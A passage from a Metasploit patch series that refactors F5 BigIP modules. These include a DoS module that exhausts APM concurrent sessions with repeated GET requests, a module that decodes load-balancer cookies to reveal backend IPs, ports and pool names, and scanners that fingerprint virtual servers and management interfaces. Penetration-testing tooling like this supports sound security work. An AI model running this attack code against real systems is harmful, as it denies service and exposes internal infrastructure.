a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -50,52 +50,46 @@ class Metasploit3 < Msf::Auxiliary end def run - # Main function - rlimit = datastore['RLIMIT'] + limit = datastore['RLIMIT'] force_attack = datastore['FORCE'] - # Send an initial test request res = send_request_cgi('method' => 'GET', 'uri' => '/') - if res - server = res.headers['Server'] - # Simple test based on HTTP Server header to detect BigIP virtual server - unless force_attack - if server !~ /BIG\-IP/ && server !~ /BigIP/ - print_error("#{peer} - BigIP virtual server was not detected. Please check options") - return - end - end - print_good("#{peer} - Starting DoS attack") - else - print_error("#{peer} - Unable to connect to BigIP. Please check options") + + unless res + print_error("#{peer} - No answer from the BigIP server") return end + # Simple test based on HTTP Server header to detect BigIP virtual server + server = res.headers['Server'] + unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack + print_error("#{peer} - BigIP virtual server was not detected. Please check options") + return + end + + print_status("#{peer} - Starting DoS attack") + # Start attack - (1..rlimit).each do + limit.times do res = send_request_cgi('method' => 'GET', 'uri' => '/') - if res && res.headers['Location'] == '/my.logout.php3?errorcode=14' - print_good("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") - print_good("#{peer} - DoS attack is successful") + if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ + print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.") return end end - # Check if attack is unsuccessfull + # Check if attack has failed res = send_request_cgi('method' => 'GET', 'uri' => uri) - if res.headers['Location'] == '/my.policy' - print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number") + if res.headers['Location'] =~ /\/my.policy/ + print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT") else print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") end rescue ::Rex::ConnectionRefused - print_error("#{peer} - Unable to connect to BigIP") + print_error("#{peer} - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") rescue ::Rex::ConnectionTimeout - print_error("#{peer} - Unable to connect to BigIP. Please check options") - rescue ::Errno::ECONNRESET - print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") - print_status("#{peer} - DoS attack is unsuccessful") + print_error("#{peer} - Unable to connect to BigIP.") rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") end From 5588ad36b38ce876ed964fbf1638613748df6387 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 13:51:00 -0500 Subject: [PATCH 16/26] Print status message --- modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 68565ba3ef..bceb2703dd 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -70,7 +70,10 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Starting DoS attack") # Start attack - limit.times do + limit.times do |step| + if step % 100 == 0 + print_status("#{peer} - #{step * 100 / limit}% accomplished...") + end res = send_request_cgi('method' => 'GET', 'uri' => '/') if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.") From 2e01eb519db935d1cc582173f1191362b1fd3ffd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:04:44 -0500 Subject: [PATCH 17/26] Do minor fixes --- modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 8d924a6d84..5170d856b6 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary port = nil end - backend[:host] = (host.nil?) ? nil : host - backend[:port] = (port.nil?) ? nil : port + backend[:host] = host.nil? ? nil : host + backend[:port] = port.nil? ? nil : port backend end @@ -146,8 +146,11 @@ class Metasploit3 < Msf::Auxiliary # Reporting found backends in database unless backends.empty? - report_note(host: rhost, type: "f5_load_balancer_backends", data: backends) + report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends) end + + rescue ::Rex::ConnectionRefused + print_error("#{peer} - Network connection error") rescue ::Rex::ConnectionError print_error("#{peer} - Network connection error") rescue ::OpenSSL::SSL::SSLError From 017ae463edf47d228d224fc2dade2063097652c6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:18:13 -0500 Subject: [PATCH 18/26] Fix description style --- .../scanner/http/f5_bigip_http_vs_scanner.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb index be3b5e8e32..63d341609b 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -13,11 +13,11 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'F5 BigIP HTTP Virtual Server Scanner', 'Description' => %q{ - This module scans network for BigIP HTTP virtual servers based on simple - banner grabbing technique. BigIP system uses different HTTP profiles for - managing HTTP traffic. In particular, BIG-IP system uses HTTP profile that - specifies the string used as the server agent name in traffic generated by LTM. - The default value is equal to "BigIP" or "BIG-IP" and depends on BigIP system version. + This module scans for BigIP HTTP virtual servers based on simple banner grabbing technique. + BigIP system uses different HTTP profiles for managing HTTP traffic. In particular, BIG-IP + system uses an HTTP profile that specifies the string used as the server agent name in + traffic generated by LTM. The default value is equal to "BigIP" or "BIG-IP" and depends on + BigIP system version. }, 'Author' => [ @@ -87,4 +87,4 @@ class Metasploit3 < Msf::Auxiliary end end -end \ No newline at end of file +end From 9fdbfd7031a9bfeed1dd6582d2a5c61e4eafb81a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:21:36 -0500 Subject: [PATCH 19/26] Use vprint_error --- .../scanner/http/f5_bigip_http_vs_scanner.rb | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb index 63d341609b..7914370dda 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -52,17 +52,15 @@ class Metasploit3 < Msf::Auxiliary return true if server =~ /BIG\-IP/ || server =~ /BigIP/ end rescue ::Rex::ConnectionRefused - print_status("#{ip}:#{port} - TCP port closed") if verbose + vprint_error("#{ip}:#{port} - Connection refused") rescue ::Rex::ConnectionError - print_error("#{ip}:#{port} - Connection error") + vprint_error("#{ip}:#{port} - Connection error") rescue ::OpenSSL::SSL::SSLError - print_error("#{ip}:#{port} - SSL/TLS connection error") - rescue => e - print_error("#{ip}:#{port} - Connection failed") if verbose + vprint_error("#{ip}:#{port} - SSL/TLS connection error") end end rescue Timeout::Error - print_error("#{ip}:#{port} - HTTP connection timed out") if verbose + vprint_error("#{ip}:#{port} - HTTP connection timed out") if verbose end return false end @@ -74,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary ports.each do |port| next if port == 443 if bigip_http?(ip, port, ssl = false, verbose) - print_status("#{ip}:#{port} - BigIP HTTP virtual server found") + print_good("#{ip}:#{port} - BigIP HTTP virtual server found") ports.delete(port) end end @@ -82,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary ports.each do |port| next if port == 80 if bigip_http?(ip, port, ssl = true, verbose) - print_status("#{ip}:#{port} - BigIP HTTP virtual server found") + print_good("#{ip}:#{port} - BigIP HTTP virtual server found") end end From b5f5bacb8c2abb7bc2da13d319e10edd2a6cf9cd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:46:08 -0500 Subject: [PATCH 20/26] Use the connect/read timeout as used by the HTTPClient mixin --- .../scanner/http/f5_bigip_http_vs_scanner.rb | 75 +++++++++---------- 1 file changed, 36 insertions(+), 39 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb index 7914370dda..07ebf009b4 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -13,11 +13,10 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'F5 BigIP HTTP Virtual Server Scanner', 'Description' => %q{ - This module scans for BigIP HTTP virtual servers based on simple banner grabbing technique. - BigIP system uses different HTTP profiles for managing HTTP traffic. In particular, BIG-IP - system uses an HTTP profile that specifies the string used as the server agent name in - traffic generated by LTM. The default value is equal to "BigIP" or "BIG-IP" and depends on - BigIP system version. + This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses + different HTTP profiles for managing HTTP traffic and these profiles allow to customize + the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending + on the BigIP system version. }, 'Author' => [ @@ -34,55 +33,53 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('PORTS', [true, "Ports to scan (e.g. 80-81,443,8080-8090)", "80,443"]), - OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), + OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']), + OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]), ], self.class) - deregister_options('RPORT','RHOST') + deregister_options('RPORT') end - def bigip_http?(ip, port, ssl, verbose = false) + def bigip_http?(ip, port, ssl) begin - timeout = (datastore['TIMEOUT'] || 1000).to_f / 1000.0 - ::Timeout.timeout(timeout) do - begin - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => port, 'SSL' => ssl) - if res - server = res.headers['Server'] - return true if server =~ /BIG\-IP/ || server =~ /BigIP/ - end - rescue ::Rex::ConnectionRefused - vprint_error("#{ip}:#{port} - Connection refused") - rescue ::Rex::ConnectionError - vprint_error("#{ip}:#{port} - Connection error") - rescue ::OpenSSL::SSL::SSLError - vprint_error("#{ip}:#{port} - SSL/TLS connection error") - end - end - rescue Timeout::Error - vprint_error("#{ip}:#{port} - HTTP connection timed out") if verbose + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/', + 'rport' => port, + 'SSL' => ssl, + 'timeout' => 1 + ) + return false unless res + server = res.headers['Server'] + return true if server =~ /BIG\-IP/ || server =~ /BigIP/ + rescue ::Rex::ConnectionRefused + vprint_error("#{ip}:#{port} - Connection refused") + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{port} - Connection error") + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{ip}:#{port} - SSL/TLS connection error") end - return false + + false end def run_host(ip) - verbose = datastore['VERBOSE'] ports = Rex::Socket.portspec_crack(datastore['PORTS']) - fail Msf::OptionValidateError.new(['PORTS']) if ports.empty? - ports.each do |port| - next if port == 443 - if bigip_http?(ip, port, ssl = false, verbose) - print_good("#{ip}:#{port} - BigIP HTTP virtual server found") - ports.delete(port) - end + + if ports.empty? + print_error('PORTS options is invalid') + return end ports.each do |port| - next if port == 80 - if bigip_http?(ip, port, ssl = true, verbose) + if bigip_http?(ip, port, false) print_good("#{ip}:#{port} - BigIP HTTP virtual server found") + next + end + + if bigip_http?(ip, port, true) + print_good("#{ip}:#{port} - BigIP HTTPS virtual server found") end end - end end From b73241882bcb3a87c8f4c9e6ba970aeab4f42e11 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:48:05 -0500 Subject: [PATCH 21/26] Use datastore option --- modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb index 07ebf009b4..4ae7310f1b 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => '/', 'rport' => port, 'SSL' => ssl, - 'timeout' => 1 + 'timeout' => datastore['TIMEOUT'] ) return false unless res server = res.headers['Server'] From f56115552f68d7e27efbfa3bc751867746b58619 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 14:56:39 -0500 Subject: [PATCH 22/26] Do code cleanup --- .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 60 ++++++++----------- 1 file changed, 24 insertions(+), 36 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index d65ef170b7..35a4b8a952 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -11,9 +11,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'F5 Management Interface Scanner', + 'Name' => 'F5 Networks Devices Management Interface Scanner', 'Description' => %q{ - This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + This module scans for web management interfaces of the following F5 Networks devices: + BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. }, 'License' => MSF_LICENSE, 'Author' => @@ -31,76 +32,63 @@ class Metasploit3 < Msf::Auxiliary )) register_options( - [ - OptInt.new('TIMEOUT', [true, "Timeout for the HTTPS probe in milliseconds", 1000]) - ], self.class) + [ + OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]) + ], self.class) end - def port_open?(to, verbose) + def port_open? begin - ::Timeout.timeout(to) do - begin - res = send_request_raw('method' => 'GET', 'uri' => '/') - return true if res - rescue ::Rex::ConnectionRefused - print_status("#{peer} - TCP port closed") if verbose - return false - rescue ::Rex::ConnectionError - print_error("#{peer} - Connection failed") if verbose - return false - rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") if verbose - return false - rescue => e - print_error("#{peer} - Connection failed") if verbose - end - end - rescue Timeout::Error - print_error("#{peer} - HTTP connection timed out") if verbose + res = send_request_raw('method' => 'GET', 'uri' => '/', 'timeout' => datastore['TIMEOUT']) + return true if res + rescue ::Rex::ConnectionRefused + vprint_status("#{peer} - Connection refused") + return false + rescue ::Rex::ConnectionError + vprint_error("#{peer} - Connection failed") + return false + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL/TLS connection error") return false end end def run_host(ip) - # Test if a RPORT on a remote host is reachable using HTTPClient - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - verbose = datastore['VERBOSE'] - return unless port_open?(to, verbose) + return unless port_open? res = send_request_raw('method' => 'GET', 'uri' => '/') if res && res.code == 200 # Detect BigIP management interface if res.body =~ /<title>BIG\-IP/ - print_status("#{peer} - F5 BigIP web management interface found") + print_good("#{peer} - F5 BigIP web management interface found") return end # Detect EM management interface if res.body =~ /<title>Enterprise Manager/ - print_status("#{peer} - F5 Enterprise Manager web management interface found") + print_good("#{peer} - F5 Enterprise Manager web management interface found") return end # Detect ARX management interface if res.body =~ /<title>F5 ARX Manager Login<\/title>/ - print_status("#{peer} - ARX web management interface found") + print_good("#{peer} - ARX web management interface found") return end end - res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) - # Detect BigIQ management interface + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/') if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/ - print_status("#{peer} - F5 BigIQ web management interface found") + print_good("#{peer} - F5 BigIQ web management interface found") return end # Detect FirePass management interface res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/ - print_status("#{peer} - F5 FirePass web management interface found") + print_good("#{peer} - F5 FirePass web management interface found") return end end From bf9ca1f88fecc8c92affddaf53db8b032ab25f32 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 15:08:59 -0500 Subject: [PATCH 23/26] Change module filename --- .../{f5_bigip_http_vs_scanner.rb => f5_bigip_virtual_server.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{f5_bigip_http_vs_scanner.rb => f5_bigip_virtual_server.rb} (100%) diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb similarity index 100% rename from modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb rename to modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb From 156aac1dffb11d7c066f71bb3c0f5edb6a299b8b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 15:23:08 -0500 Subject: [PATCH 24/26] Use timeout options --- .../scanner/http/f5_bigip_virtual_server.rb | 13 +++++++------ modules/auxiliary/scanner/http/f5_mgmt_scanner.rb | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb index 4ae7310f1b..ab35aedadd 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -43,12 +43,13 @@ class Metasploit3 < Msf::Auxiliary def bigip_http?(ip, port, ssl) begin res = send_request_raw( - 'method' => 'GET', - 'uri' => '/', - 'rport' => port, - 'SSL' => ssl, - 'timeout' => datastore['TIMEOUT'] - ) + { + 'method' => 'GET', + 'uri' => '/', + 'rport' => port, + 'ssl' => ssl, + }, + datastore['TIMEOUT']) return false unless res server = res.headers['Server'] return true if server =~ /BIG\-IP/ || server =~ /BigIP/ diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 35a4b8a952..402c7dbdde 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def port_open? begin - res = send_request_raw('method' => 'GET', 'uri' => '/', 'timeout' => datastore['TIMEOUT']) + res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) return true if res rescue ::Rex::ConnectionRefused vprint_status("#{peer} - Connection refused") From a8adcda941d50b3b25a2211f3d90cfc7c6be76ee Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 15:29:30 -0500 Subject: [PATCH 25/26] Redo port checks --- .../scanner/http/f5_bigip_virtual_server.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb index ab35aedadd..1e980b0706 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -73,13 +73,18 @@ class Metasploit3 < Msf::Auxiliary end ports.each do |port| - if bigip_http?(ip, port, false) - print_good("#{ip}:#{port} - BigIP HTTP virtual server found") - next + + unless port == 443 # Skip http check for 443 + if bigip_http?(ip, port, false) + print_good("#{ip}:#{port} - BigIP HTTP virtual server found") + next + end end - if bigip_http?(ip, port, true) - print_good("#{ip}:#{port} - BigIP HTTPS virtual server found") + unless port == 80 # Skip https check for 80 + if bigip_http?(ip, port, true) + print_good("#{ip}:#{port} - BigIP HTTPS virtual server found") + end end end end From efb226a55c1df828ce0ee469533dc3ee999a957c Mon Sep 17 00:00:00 2001 From: Denis Kolegov <dnkolegov@gmail.com> Date: Sun, 10 May 2015 02:59:57 -0400 Subject: [PATCH 26/26] Fixed some minor errors --- .../auxiliary/dos/http/f5_bigip_apm_max_sessions.rb | 12 +++++++----- .../auxiliary/gather/f5_bigip_cookie_disclosure.rb | 8 ++++---- .../scanner/http/f5_bigip_virtual_server.rb | 6 +++--- 3 files changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index bceb2703dd..e935e91cc2 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -25,9 +25,9 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ + 'Denis Kolegov <dnkolegov[at]gmail.com>', 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', - 'Nikita Oleksov <neoleksov[at]gmail.com>', - 'Denis Kolegov <dnkolegov[at]gmail.com>' + 'Nikita Oleksov <neoleksov[at]gmail.com>' ], 'References' => [ @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), - OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual isn\'t detected', false]) + OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false]) ], self.class) end @@ -89,10 +89,12 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") end + rescue ::Errno::ECONNRESET + print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") rescue ::Rex::ConnectionRefused - print_error("#{peer} - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") + print_error("#{peer} - Unable to connect to BigIP") rescue ::Rex::ConnectionTimeout - print_error("#{peer} - Unable to connect to BigIP.") + print_error("#{peer} - Unable to connect to BigIP. Please check options") rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") end diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 5170d856b6..dd4bc8e7b6 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -128,18 +128,18 @@ class Metasploit3 < Msf::Auxiliary # Print the cookie name on the first request if i == 1 - print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") + print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") if cookie[:id].start_with?('BIGipServer') - print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") + print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") end if cookie[:value].start_with?('rd') - print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") + print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") end end backend = cookie_decode(cookie[:value]) unless backend[:host].nil? || backends.include?(backend) - print_status("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found") + print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found") backends.push(backend) end end diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb index 1e980b0706..dade96bb4f 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', - 'Nikita Oleksov <neoleksov[at]gmail.com>', 'Denis Kolegov <dnkolegov[at]gmail.com>', + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'uri' => '/', 'rport' => port, - 'ssl' => ssl, + 'SSL' => ssl, }, datastore['TIMEOUT']) return false unless res